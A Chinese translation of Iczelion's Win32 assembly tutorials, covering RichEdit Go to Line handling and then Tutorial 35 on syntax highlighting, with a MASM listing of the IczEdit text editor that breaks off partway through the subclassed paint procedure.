Find Next 和 Find Prev. 以跟Find操作相似方式使用 EM_FINDTEXTEX 消息实现的功能。 find operation.

下一步我们检查 Go to Line 功能。当用户点击 Go To Line 菜单项，我们显示如下的对话框：

用户输入行号并按下OK按钮后，我们就开始处理。

    invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
    mov LineNo,eax

从Edit控件中取得行号

    invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
    .if eax>LineNo

从Edit控件中取得行号并检查用户指定的行号是否超出发范围。

        invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0

如果是有效行号，我们要移动插入点到该行的第一个字符处。因此我们发送 EM_LINEINDEX 消息给RichEdit控件。这个消息返回指定行的第一个字母的字符索引。我们把行号放到wParam中发送消息，返回后我们就得到了该字符索引。

        invoke SendMessage,hwndRichEdit,EM_SETSEL,eax,eax

设置选择正文，这次我们使用 EM_SETSEL ，因为字符索引已经保存在 CHARRANGE 结构中，因而省了两个结构(要将那些索引放入一个 CHARRANGE 结构)。

        invoke SetFocus,hwndRichEdit
    .endif

除非RichEdit控件得到焦点，否则插入点将不会显示。因此我们调用 SetFocus 使它得到焦点.

翻译：farsky 来源：[Iczelion's Win32 Assembly Homepage]
LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

教程 35: RichEdit 控件：语法高亮显示

在读这篇教程之前先提醒你，这是一个复杂的主题：不适合初学者。这是最后一篇RichEdit 控件教程。

下载 例子程序.

Theory

语法高亮显示对那些编写文本编辑器的人来说是一个热点主题。最好的解决方法（我自己认为的）是编写一个定制的Edit控件，这也是很多商业软件所使用的方法。然而，对于那些没什么时间来编写这么一个控件的人来说，次策就是改写现有的控件使之符合我们的需要。

让我们看一看，到底 RichEdit 控件提供了什么功能来帮助我们实现语法高亮。现在我应该声明，下面的方法不是一个“正确”方法：我只是给你们指出那些缺陷。 RichEdit 控件提供了EM_SETCHARFORMAT 消息，是你可以用来改变正文颜色。乍一看，这个消息好象是一个完美的解决方法(我之所以知道是因为我也是其中的一个受骗者)。然而靠近看看，将会发现有几个不合意的地方：

  • EM_SETCHARFORMAT 仅仅对选定的正文或者控件中所有的正文有影响。如果你想改变正文颜色（高亮显示某一个特定的词），你必须先选定它。
  • EM_SETCHARFORMAT 执行速度很慢。
  • RichEdit 控件中的插入点位置处理也有一点问题。

通过上面的讨论，你可以看到使用 EM_SETCHARFORMAT 是一个错误的选择，我会给你演示 "相当正确" 的选择。

我现在使用的方法是“即时语法高亮”，我只高亮显示可见部分的正文。因此高亮显示的速度跟文件的大小根本是无关的。无论是多大的文件，在某一时刻只有一小部分是可见的。

怎么样实现？答案很简单：

  1. 子类化RichEdit控件并在你自己的窗口处理函数中处理 WM_PAINT 消息。
  2. 当收到 WM_PAINT 消息时，它调用RichEdit控件原来的窗口过程，让它正常地更新屏幕。
  3. 之后，我们将要高亮显示的词用不同的颜色来覆盖掉。

当然了，路也不是这么容易走的：仍然有两个次要的问题需要矫正，不过上面的方法工作起来很好。显示速度令人很满意。

现在让我们集中在细节上。子类化处理是很简单的，不需要很多注意力。真正复杂的部分是：我们必须找到一个快速的方法来搜索那些需要高亮的词。更复杂的那些在某个注释块里的 不 需要高亮显示的词。

我使用的方法可能不是最好的，但是它工作的很好。我敢肯定你可以找到更快的方法。不管怎么说，先看看我下面的方法：

  • 我创建一个有256元素的双字(DWORD)数组，全部初始化为0。每一个元素对应一个可能的 ASCII 字符，数组名叫 ASMSyntaxArray。例如，第21个元素代表ASCII 20h (空格字符)。我将他们作为快速查询表使用：譬如，假定我有一个词 "include"，我从词中分离出第一个字符 (i) ,并以响应索引查找数组。如果该元素为0，我就立刻知道需要高亮的词是没有以 "i" 开头的。如果该元素非0，它就包含一个指针，指向一个 WORDINFO 结构的链表。里面包含了需要高亮词的信息。
  • 我读取需要高亮显示的词，并为每个词创建一个 WORDINFO 结构。
            WORDINFO struct
                WordLen dd ? 		; 词的长度，用来快速比较
                pszWord dd ? 	       ; 词的指针
                pColor dd ? 		; 用来高亮显示的颜色所在的DWORD的指针
                NextLink dd ? 		; 下一个 WORDINFO 结构
            WORDINFO ends

正如你所看到的，我使用词的长度来作为第二个快速比较方法。如果词中的第一个字符匹配后，我们下一个比较的是词的才长度。ASMSyntaxArray 中的每一个元素包含了一个指针，指向一个相关的WORDINFO 数组.例如，代表字符 "i" 的元素将会包含一个指向以"i"开头的词的链表。 pColor 成员指向一个DWORD,包含用来做高亮显示该词的颜色值。pszWord 指向要高亮显示的词。是小写形式的。

  • 链表的内存是从堆（heap)中分配的，速度快，容易清除，也就是说根本不用清楚。

高亮词列表保存在文件 "wordfile.txt"中，我通过 GetPrivateProfileString API 函数来访问。我提供了多达10种不同的语法颜色，从 C1 到 C10。颜色数组名叫 ASMColorArray。每一个 WORDINFO 结构的 pColor 成员都指向 ASMColorArray 中的某一个元素。因此闲时很容易改变语法颜色：你只需要改变 ASMColorArray 中的元素的值，这样所有使用那种颜色高亮的词就立刻使用新颜色显示。

例子

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

WORDINFO struct
    WordLen dd ?		; 词的长度：用来进行快速比较
    pszWord dd ?		; 词的指针
    pColor dd ?		; 指向某个DWORD，里面包含用来高亮显示词的颜色值。
    NextLink dd ?		; 指向下一个 WORDINFO 结构
WORDINFO ends

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001
IDR_MAINACCEL                 equ  105
IDD_FINDDLG                    equ 102
IDD_GOTODLG                    equ 103
IDD_REPLACEDLG                 equ 104
IDC_FINDEDIT                  equ  1000
IDC_MATCHCASE                  equ 1001
IDC_REPLACEEDIT                 equ 1001
IDC_WHOLEWORD                  equ 1002
IDC_DOWN                       equ 1003
IDC_UP                       equ   1004
IDC_LINENO                   equ   1005
IDM_FIND                       equ 40014
IDM_FINDNEXT                  equ  40015
IDM_REPLACE                     equ 40016
IDM_GOTOLINE                   equ 40017
IDM_FINDPREV                  equ  40018
RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 3.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; 缺省为白色
TextColor dd 0		; 缺省为黑色
WordFileName db "\wordfile.txt",0
ASMSection db "ASSEMBLY",0
C1Key db "C1",0
C2Key db "C2",0
C3Key db "C3",0
C4Key db "C4",0
C5Key db "C5",0
C6Key db "C6",0
C7Key db "C7",0
C8Key db "C8",0
C9Key db "C9",0
C10Key db "C10",0
ZeroString db 0
ASMColorArray dd 0FF0000h,0805F50h,0FFh,666F00h,44F0h,5F8754h,4 dup(0FF0000h)
CommentColor dd 808000h

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)
FindBuffer db 256 dup(?)
ReplaceBuffer db 256 dup(?)
uFlags dd ?
findtext FINDTEXTEX <>
ASMSyntaxArray dd 256 dup(?)
hSearch dd ?		; 搜索/替换对话框的句柄
hAccel dd ?
hMainHeap dd ?		; 堆的句柄
OldWndProc dd ?
RichEditVersion dd ?

.code
start:
    mov byte ptr [FindBuffer],0
    mov byte ptr [ReplaceBuffer],0
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke GetProcessHeap
        mov hMainHeap,eax
        call FillHiliteInfo
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    invoke LoadAccelerators,hInstance,IDR_MAINACCEL
    mov hAccel,eax
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke IsDialogMessage,hSearch,addr msg
        .if eax==FALSE
            invoke TranslateAccelerator,hwnd,hAccel,addr msg
            .if eax==0
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            .endif
        .endif
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

SearchProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke CheckRadioButton,hWnd,IDC_DOWN,IDC_UP,IDC_DOWN
        invoke SendDlgItemMessage,hWnd,IDC_FINDEDIT,WM_SETTEXT,0,addr FindBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDOK
                mov uFlags,0
                invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                .if eax!=0
                    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
                    .if eax==BST_CHECKED
                        or uFlags,FR_DOWN
                        mov eax,findtext.chrg.cpMin
                        .if eax!=findtext.chrg.cpMax
                            push findtext.chrg.cpMax
                            pop findtext.chrg.cpMin
                        .endif
                        mov findtext.chrg.cpMax,-1
                    .else
                        mov findtext.chrg.cpMax,0
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
                    .if eax==BST_CHECKED
                        or uFlags,FR_MATCHCASE
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
                    .if eax==BST_CHECKED
                        or uFlags,FR_WHOLEWORD
                    .endif
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .else
                mov eax,FALSE
                ret
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
SearchProc endp

ReplaceProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL settext:SETTEXTEX
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke SetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer
        invoke SetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer
                mov findtext.chrg.cpMin,0
                mov findtext.chrg.cpMax,-1
                mov findtext.lpstrText,offset FindBuffer
                mov settext.flags,ST_SELECTION
                mov settext.codepage,CP_ACP
                .while TRUE
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax==-1
                        .break
                    .else
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                        invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
                    .endif
                .endw
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
ReplaceProc endp

GoToProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL LineNo:DWORD
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
                mov LineNo,eax
                invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
                .if eax>LineNo
                    invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0
                    invoke SendMessage,hwndRichEdit,EM_SETSEL,eax,eax
                    invoke SetFocus,hwndRichEdit
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
GoToProc endp

PrepareEditMenu proc hSubMenu:DWORD
    LOCAL chrg:CHARRANGE
    invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
    .if eax==0		; 剪贴板里没有正文
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
    mov eax,chrg.cpMin
    .if eax==chrg.cpMax		; 当前没有选定正文
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_ENABLED
    .endif
    ret
PrepareEditMenu endp

ParseBuffer proc uses edi esi hHeap:DWORD,pBuffer:DWORD, nSize:DWORD, ArrayOffset:DWORD,pArray:DWORD
    LOCAL buffer[128]:BYTE
    LOCAL InProgress:DWORD
    mov InProgress,FALSE
    lea esi,buffer
    mov edi,pBuffer
    invoke CharLower,edi
    mov ecx,nSize
SearchLoop:
    or ecx,ecx
    jz Finished
    cmp byte ptr [edi]," "
    je EndOfWord
    cmp byte ptr [edi],9 	; tab
    je EndOfWord
    mov InProgress,TRUE
    mov al,byte ptr [edi]
    mov byte ptr [esi],al
    inc esi
SkipIt:
    inc edi
    dec ecx
    jmp SearchLoop
EndOfWord:
    cmp InProgress,TRUE
    je WordFound
    jmp SkipIt
WordFound:
    mov byte ptr [esi],0
    push ecx
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO
    push esi
    mov esi,eax
    assume esi:ptr WORDINFO
    invoke lstrlen,addr buffer
    mov [esi].WordLen,eax
    push ArrayOffset
    pop [esi].pColor
    inc eax
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
    mov [esi].pszWord,eax
    mov edx,eax
    invoke lstrcpy,edx,addr buffer
    mov eax,pArray
    movzx edx,byte ptr [buffer]
    shl edx,2		; 乘以 4
    add eax,edx
    .if dword ptr [eax]==0
        mov dword ptr [eax],esi
    .else
        push dword ptr [eax]
        pop [esi].NextLink
        mov dword ptr [eax],esi
    .endif
    pop esi
    pop ecx
    lea esi,buffer
    mov InProgress,FALSE
    jmp SkipIt
Finished:
    .if InProgress==TRUE
        invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO
        push esi
        mov esi,eax
        assume esi:ptr WORDINFO
        invoke lstrlen,addr buffer
        mov [esi].WordLen,eax
        push ArrayOffset
        pop [esi].pColor
        inc eax
        invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
        mov [esi].pszWord,eax
        mov edx,eax
        invoke lstrcpy,edx,addr buffer
        mov eax,pArray
        movzx edx,byte ptr [buffer]
        shl edx,2		; 乘以 4
        add eax,edx
        .if dword ptr [eax]==0
            mov dword ptr [eax],esi
        .else
            push dword ptr [eax]
            pop [esi].NextLink
            mov dword ptr [eax],esi
        .endif
        pop esi
    .endif
    ret
ParseBuffer endp

FillHiliteInfo proc uses edi
    LOCAL buffer[1024]:BYTE
    LOCAL pTemp:DWORD
    LOCAL BlockSize:DWORD
    invoke RtlZeroMemory,addr ASMSyntaxArray,sizeof ASMSyntaxArray
    invoke GetModuleFileName,hInstance,addr buffer,sizeof buffer
    invoke lstrlen,addr buffer
    mov ecx,eax
    dec ecx
    lea edi,buffer
    add edi,ecx
    std
    mov al,"\"
    repne scasb
    cld
    inc edi
    mov byte ptr [edi],0
    invoke lstrcat,addr buffer,addr WordFileName
    invoke GetFileAttributes,addr buffer
    .if eax!=-1
        mov BlockSize,1024*10
        invoke HeapAlloc,hMainHeap,0,BlockSize
        mov pTemp,eax
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C1Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	;  缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C2Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,4
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C3Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	;缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,8
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C4Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,12
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C5Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,16
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C6Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,20
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C7Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,24
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C8Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,28
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C9Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,32
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C10Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
            add edx,36
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray
        .endif
        invoke HeapFree,hMainHeap,0,pTemp
    .endif
    ret
FillHiliteInfo endp

NewRichEditProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL hdc:DWORD
    LOCAL hOldFont:DWORD
    LOCAL FirstChar:DWORD
    LOCAL rect:RECT
    LOCAL txtrange:TEXTRANGE
    LOCAL buffer[1024*10]:BYTE
    LOCAL hRgn:DWORD
    LOCAL hOldRgn:DWORD
    LOCAL RealRect:RECT
    LOCAL pString:DWORD
    LOCAL BufferSize:DWORD
    LOCAL pt:POINT
    .if uMsg==WM_PAINT
        push edi
        push esi
        invoke HideCaret,hWnd
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        push eax
        mov edi,offset ASMSyntaxArray
        invoke GetDC,hWnd
        mov hdc,eax
        invoke SetBkMode,hdc,TRANSPARENT
        invoke SendMessage,hWnd,EM_GETRECT,0,addr rect
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect
        invoke SendMessage,hWnd,EM_LINEFROMCHAR,eax,0
        invoke SendMessage,hWnd,EM_LINEINDEX,eax,0
        mov txtrange.chrg.cpMin,eax
        mov FirstChar,eax
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect.right
        mov txtrange.chrg.cpMax,eax
        push rect.left
        pop RealRect.left
        push rect.top
        pop RealRect.top
        push rect.right
        pop RealRect.right
        push rect.bottom
        pop RealRect.bottom
        invoke CreateRectRgn,RealRect.left,RealRect.top,RealRect.right,RealRect.bottom
        mov hRgn,eax
        invoke SelectObject,hdc,hRgn
        mov hOldRgn,eax
        invoke SetTextColor,hdc,CommentColor
        lea eax,buffer
        mov txtrange.lpstrText,eax
        invoke SendMessage,hWnd,EM_GETTEXTRANGE,0,addr txtrange
        .if eax>0
            mov esi,eax		; esi == 正文大小
            mov BufferSize,eax
            push edi
            push ebx
